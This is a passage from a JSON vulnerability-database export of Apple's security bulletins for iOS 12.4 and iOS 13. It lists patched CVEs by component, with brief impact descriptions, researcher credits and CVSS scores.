SUTD, Singapore, Dr. Nils Ole Tippenhauer of CISPA, Germany, and Prof. Kasper Rasmussen of University of Oxford, England\n\nThe changes for this issue mitigate CVE-2020-10135.\n\nEntry added August 13, 2019, updated June 25, 2020 \n\n**Core Data**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8647: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8660: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**FaceTime**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8648: Tao Huang and Tielei Wang of Team Pangu\n\n**Found in Apps**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8663: Natalie Silvanovich of Google Project Zero\n\n**Game Center**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A local user may be able to read a persistent account identifier\n\nDescription: This issue was addressed with a new entitlement.\n\nCVE-2019-8702: Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc.\n\nEntry added February 24, 2020\n\n**Heimdal**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: An issue existed in Samba that may allow attackers to perform unauthorized actions by intercepting communications between services\n\nDescription: This issue was addressed with improved checks to prevent unauthorized actions.\n\nCVE-2018-16860: Isaac Boukris and Andrew Bartlett of the Samba Team and Catalyst\n\n**Image Processing**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8668: an anonymous researcher\n\nEntry added October 8, 2019\n\n**libxslt**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to view sensitive information\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2019-13118: found by OSS-Fuzz\n\n**Messages**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may cause an unexpected application termination\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8665: Michael Hernandez of XYZ Marketing\n\n**Profiles**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A malicious application may be able to restrict access to websites\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2019-8698: Luke Deshotels, Jordan Beichler, and William Enck of North Carolina State University; Costin Caraba\u0219 and R\u0103zvan Deaconescu of University POLITEHNICA of Bucharest\n\n**Quick Look**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: An attacker may be able to trigger a use-after-free in an application deserializing an untrusted NSDictionary\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8662: Natalie Silvanovich and Samuel Gro\u00df of Google Project Zero\n\n**Siri**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**Telephony**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: The initiator of a phone call may be able to cause the recipient to answer a simultaneous Walkie-Talkie connection\n\nDescription: A logic issue existed in the answering of phone calls. The issue was addressed with improved state management.\n\nCVE-2019-8699: Marius Alexandru Boeru (@mboeru) and an anonymous researcher\n\nEntry updated July 25, 2019\n\n**UIFoundation**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8657: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**Wallet**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A user may inadvertently complete an in-app purchase while on the lock screen\n\nDescription: The issue was addressed with improved UI handling.\n\nCVE-2019-8682: Jeff Braswell (JeffBraswell.com)\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of document loads. This issue was addressed with improved state management.\n\nCVE-2019-8690: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of synchronous page loads. This issue was addressed with improved state management.\n\nCVE-2019-8649: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8658: akayn working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8644: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8666: Zongming Wang (\u738b\u5b97\u660e) and Zhe Jin (\u91d1\u54f2) from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.\n\nCVE-2019-8669: akayn working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8671: Apple\n\nCVE-2019-8672: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8673: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8676: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8677: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8678: Anthony Lai (@darkfloyd1014) of Knownsec, Ken Wong (@wwkenwong) of VXRL, Jeonghoon Shin (@singi21a) of Theori, Johnny Yu (@straight_blast) of VX Browser Exploitation Group, Chris Chan (@dr4g0nfl4me) of VX Browser Exploitation Group, Phil Mok (@shadyhamsters) of VX Browser Exploitation Group, Alan Ho (@alan_h0) of Knownsec, Byron Wai of VX Browser Exploitation, P1umer of ADLab of Venustech\n\nCVE-2019-8679: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8680: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8681: G. Geshev working with Trend Micro Zero Day Initiative\n\nCVE-2019-8683: lokihardt of Google Project Zero\n\nCVE-2019-8684: lokihardt of Google Project Zero\n\nCVE-2019-8685: akayn, Dongzhuo Zhao working with ADLab of Venustech, Ken Wong (@wwkenwong) of VXRL, Anthony Lai (@darkfloyd1014) of VXRL, and Eric Lung (@Khlung1) of VXRL\n\nCVE-2019-8686: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8687: Apple\n\nCVE-2019-8688: Insu Yun of SSLab at Georgia Tech\n\nCVE-2019-8689: lokihardt of Google Project Zero\n\nEntry updated September 11, 2019\n\n\n\n## Additional recognition\n\n**Game Center**\n\nWe would like to acknowledge Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Dany Lisiansky (@DanyL931) for their assistance.\n", "edition": 4, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-25T07:44:38", "title": "About the security content of iOS 12.4 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10135", "CVE-2019-8663", "CVE-2019-8648", "CVE-2019-8681", "CVE-2019-8669", "CVE-2019-8702", "CVE-2019-8677", "CVE-2019-8649", "CVE-2019-8682", "CVE-2019-8688", "CVE-2019-8665", "CVE-2018-16860", "CVE-2019-9506", "CVE-2019-8679", "CVE-2019-8680", "CVE-2019-8673", "CVE-2019-8647", "CVE-2019-8687", "CVE-2019-8672", "CVE-2019-8660", "CVE-2019-8658", "CVE-2019-8678", "CVE-2019-8699", "CVE-2019-8676", "CVE-2019-8686", "CVE-2019-13118", "CVE-2019-8644", "CVE-2019-8683", "CVE-2019-8671", "CVE-2019-8646", "CVE-2019-8690", "CVE-2019-8698", "CVE-2019-8668", "CVE-2019-8684", "CVE-2019-8689", "CVE-2019-8685", "CVE-2019-8662", "CVE-2019-8657", "CVE-2019-8666"], "modified": "2020-06-25T07:44:38", "id": "APPLE:HT210346", "href": "https://support.apple.com/kb/HT210346", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:44:22", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 13\n\nReleased September 19, 2019\n\n**Bluetooth**\n\nAvailable for: iPhone 6s and later\n\nImpact: Notification previews may show on Bluetooth accessories even when previews are disabled\n\nDescription: A logic issue existed with the display of notification previews. This issue was addressed with improved validation.\n\nCVE-2019-8711: Arjang of MARK ANTHONY GROUP INC., Cemil Ozkebapci (@cemilozkebapci) of Garanti BBVA, Oguzhan Meral of Deloitte Consulting, \u00d6mer Bozdo\u011fan-Ramazan At\u0131l Anadolu Lisesi Adana/T\u00dcRK\u0130YE\n\n**Call History**\n\nAvailable for: iPhone 6s and later\n\nImpact: Deleted calls remained visible on the device\n\nDescription: The issue was addressed with improved data deletion.\n\nCVE-2019-8732: Mohamad El-Zein Berlin\n\nEntry added November 18, 2019\n\n**CFNetwork**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing maliciously crafted web content may lead to a cross site scripting attack\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8753: \u0141ukasz Pilorz of Standard Chartered GBS Poland\n\nEntry added October 29, 2019\n\n**CoreAudio**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing a maliciously crafted movie may result in the disclosure of process memory\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2019-8705: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**CoreAudio**\n\nAvailable for: iPhone 6s and later\n\nImpact: Playing a malicious audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added November 6, 2019\n\n**CoreCrypto**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing a large input may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved input validation.\n\nCVE-2019-8741: Nicky Mouha of NIST\n\nEntry added October 29, 2019\n\n**CoreMedia**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8825: Found by GWP-ASan in Google Chrome\n\nEntry added October 29, 2019\n\n**Face ID**\n\nAvailable for: iPhone X and later\n\nImpact: A 3D model constructed to look like the enrolled user may authenticate via Face ID\n\nDescription: This issue was addressed by improving Face ID machine learning models.\n\nCVE-2019-8760: Wish Wu (\u5434\u6f4d\u6d60 @wish_wu) of Ant-financial Light-Year Security Lab\n\n**Foundation**\n\nAvailable for: iPhone 6s and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8641: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\nCVE-2019-8746: Natalie Silvanovich and Samuel Gro\u00df of Google Project Zero\n\nEntry updated October 29, 2019\n\n**IOUSBDeviceFamily**\n\nAvailable for: iPhone 6s and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8718: Joshua Hill and Sem Voigtl\u00e4nder\n\nEntry added October 29, 2019\n\n**Kernel**\n\nAvailable for: iPhone 6s and later\n\nImpact: A local app may be able to read a persistent account identifier\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2019-8809: Apple\n\nEntry added October 29, 2019\n\n**Kernel**\n\nAvailable for: iPhone 6s and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2019-8709: derrek (@derrekr6) derrek (@derrekr6)\n\nEntry added October 29, 2019\n\n**Kernel**\n\nAvailable for: iPhone 6s and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8712: Mohamed Ghannam (@_simo36)\n\nEntry added October 29, 2019\n\n**Kernel**\n\nAvailable for: iPhone 6s and later\n\nImpact: A malicious application may be able to determine kernel memory layout\n\nDescription: A memory corruption issue existed in the handling of IPv6 packets. This issue was addressed with improved memory management.\n\nCVE-2019-8744: Zhuo Liang of Qihoo 360 Vulcan Team\n\nEntry added October 29, 2019\n\n**Kernel**\n\nAvailable for: iPhone 6s and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8717: Jann Horn of Google Project Zero\n\nEntry added October 8, 2019\n\n**Keyboards**\n\nAvailable for: iPhone 6s and later\n\nImpact: A local user may be able to leak sensitive user information\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8704: \u738b \u90a6 \u5b87 (wAnyBug.Com) of SAINTSEC\n\n**libxml2**\n\nAvailable for: iPhone 6s and later\n\nImpact: Multiple issues in libxml2\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8749: found by OSS-Fuzz\n\nCVE-2019-8756: found by OSS-Fuzz\n\nEntry added October 8, 2019\n\n**Messages**\n\nAvailable for: iPhone 6s and later\n\nImpact: A person with physical access to an iOS device may be able to access contacts from the lock screen\n\nDescription: The issue was addressed by restricting options offered on a locked device.\n\nCVE-2019-8742: videosdebarraquito\n\n**Notes**\n\nAvailable for: iPhone 6s and later\n\nImpact: A local user may be able to view a user\u2019s locked notes\n\nDescription: The contents of locked notes sometimes appeared in search results. This issue was addressed with improved data cleanup.\n\nCVE-2019-8730: Jamie Blumberg (@jamie_blumberg) of Virginia Polytechnic Institute and State University\n\nEntry added October 8, 2019\n\n**PluginKit**\n\nAvailable for: iPhone 6s and later\n\nImpact: A local user may be able to check for the existence of arbitrary files\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2019-8708: an anonymous researcher\n\nEntry added October 29, 2019\n\n**PluginKit**\n\nAvailable for: iPhone 6s and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8715: an anonymous researcher\n\nEntry added October 29, 2019\n\n**Quick Look**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing a maliciously crafted file may disclose user information\n\nDescription: A permissions issue existed in which execute permission was incorrectly granted. This issue was addressed with improved permission validation.\n\nCVE-2019-8731: Saif Hamed Hamdan Al Hinai of Oman National CERT, Yi\u011fit Can YILMAZ (@yilmazcanyigit)\n\n**Safari**\n\nAvailable for: iPhone 6s and later\n\nImpact: Visiting a malicious website may lead to address bar spoofing\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8727: Divyanshu Shukla (@justm0rph3u5)\n\nEntry updated October 8, 2019\n\n**UIFoundation**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved bounds checking.\n\nCVE-2019-8745: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added October 8, 2019\n\n**WebKit**\n\nAvailable for: iPhone 6s and later\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2019-8771: Eliya Stein of Confiant\n\nEntry added October 8, 2019\n\n**WebKit**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8625: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8719: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8764: Sergei Glazunov of Google Project Zero\n\nEntry added October 8, 2019, updated October 29, 2019\n\n**WebKit**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8707: an anonymous researcher working with Trend Micro's Zero Day Initiative, cc working with Trend Micro Zero Day Initiative\n\nCVE-2019-8726: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8728: Junho Jang of LINE Security Team and Hanul Choi of ABLY Corporation\n\nCVE-2019-8733: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8734: found by OSS-Fuzz\n\nCVE-2019-8735: G. Geshev working with Trend Micro Zero Day Initiative\n\nEntry added October 8, 2019, updated October 29, 2019\n\n**WebKit**\n\nAvailable for: iPhone 6s and later\n\nImpact: A user may be unable to delete browsing history items\n\nDescription: \"Clear History and Website Data\" did not fully clear the history. The issue was addressed with improved data deletion.\n\nCVE-2019-8768: Hugo S. Diaz (coldpointblue)\n\nEntry added October 8, 2019\n\n**WebKit Page Loading**\n\nAvailable for: iPhone 6s and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8674: Sergei Glazunov of Google Project Zero\n\nEntry updated October 8, 2019\n\n**Wi-Fi**\n\nAvailable for: iPhone 6s and later\n\nImpact: A device may be passively tracked by its Wi-Fi MAC address\n\nDescription: A user privacy issue was addressed by removing the broadcast MAC address.\n\nCVE-2019-8854: Ta-Lun Yen of UCCU Hacker and FuriousMacTeam of the United States Naval Academy and the Mitre Cooperation\n\nEntry added December 4, 2019\n\n\n\n## Additional recognition\n\n**AppleRTC**\n\nWe would like to acknowledge Vitaly Cheptsov for their assistance.\n\nEntry added October 29, 2019\n\n**Audio**\n\nWe would like to acknowledge riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added October 29, 2019\n\n**Bluetooth**\n\nWe would like to acknowledge Jan Ruge of TU Darmstadt, Secure Mobile Networking Lab, Jiska Classen of TU Darmstadt, Secure Mobile Networking Lab, Francesco Gringoli of University of Brescia, Dennis Heinze of TU Darmstadt, Secure Mobile Networking Lab for their assistance.\n\n**boringssl**\n\nWe would like to acknowledge Thijs Alkemade (@xnyhps) of Computest for their assistance.\n\nEntry added October 8, 2019\n\n**Control Center**\n\nWe would like to acknowledge Brandon Sellers for their assistance.\n\n**HomeKit**\n\nWe would like to acknowledge Tian Zhang for their assistance.\n\nEntry added October 29, 2019\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero for their assistance.\n\nEntry added October 29, 2019\n\n**Keyboard**\n\nWe would like to acknowledge Sara Haradhvala of Harlen Web Consulting, an anonymous researcher for their assistance.\n\nEntry updated July 28, 2020\n\n**Mail**\n\nWe would like to acknowledge Kenneth Hyndycz for their assistance.\n\n**mDNSResponder**\n\nWe would like to acknowledge Gregor Lang of e.solutions GmbH for their assistance.\n\nEntry added October 29, 2019\n\n**Profiles**\n\nWe would like to acknowledge Erik Johnson of Vernon Hills High School, James Seeley (@Code4iOS) of Shriver Job Corps, James Seeley (@Code4iOS) of Shriver Job Corps for their assistance.\n\nEntry updated October 29, 2019\n\n**SafariViewController**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) for their assistance.\n\n**VPN**\n\nWe would like to acknowledge Royce Gawron of Second Son Consulting, Inc. for their assistance.\n\nEntry added October 29, 2019\n\n**WebKit**\n\nWe would like to acknowledge MinJeong Kim of Information Security Lab, Chungnam National University, JaeCheol Ryou of the Information Security Lab, Chungnam National University in South Korea, Yi\u011fit Can YILMAZ (@yilmazcanyigit), Zhihua Yao of DBAPPSecurity Zion Lab, an anonymous researcher, cc working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added October 8, 2019, updated October 29, 2019\n", "edition": 5, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-28T05:33:18", "title": "About the security content of iOS 13 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8730", "CVE-2019-8731", "CVE-2019-8744", "CVE-2019-8749", "CVE-2019-8742", "CVE-2019-8760", "CVE-2019-8756", "CVE-2019-8732", "CVE-2019-8715", "CVE-2019-8718", "CVE-2019-8825", "CVE-2019-8727", "CVE-2019-8745", "CVE-2019-8726", "CVE-2019-8707", "CVE-2019-8709", "CVE-2019-8592", "CVE-2019-8708", "CVE-2019-8771", "CVE-2019-8746", "CVE-2019-8674", "CVE-2019-8734", "CVE-2019-8735", "CVE-2019-8764", "CVE-2019-8741", "CVE-2019-8704", "CVE-2019-8641", "CVE-2019-8753", "CVE-2019-8809", "CVE-2019-8719", "CVE-2019-8733", "CVE-2019-8625", "CVE-2019-8712", "CVE-2019-8705", "CVE-2019-8717", "CVE-20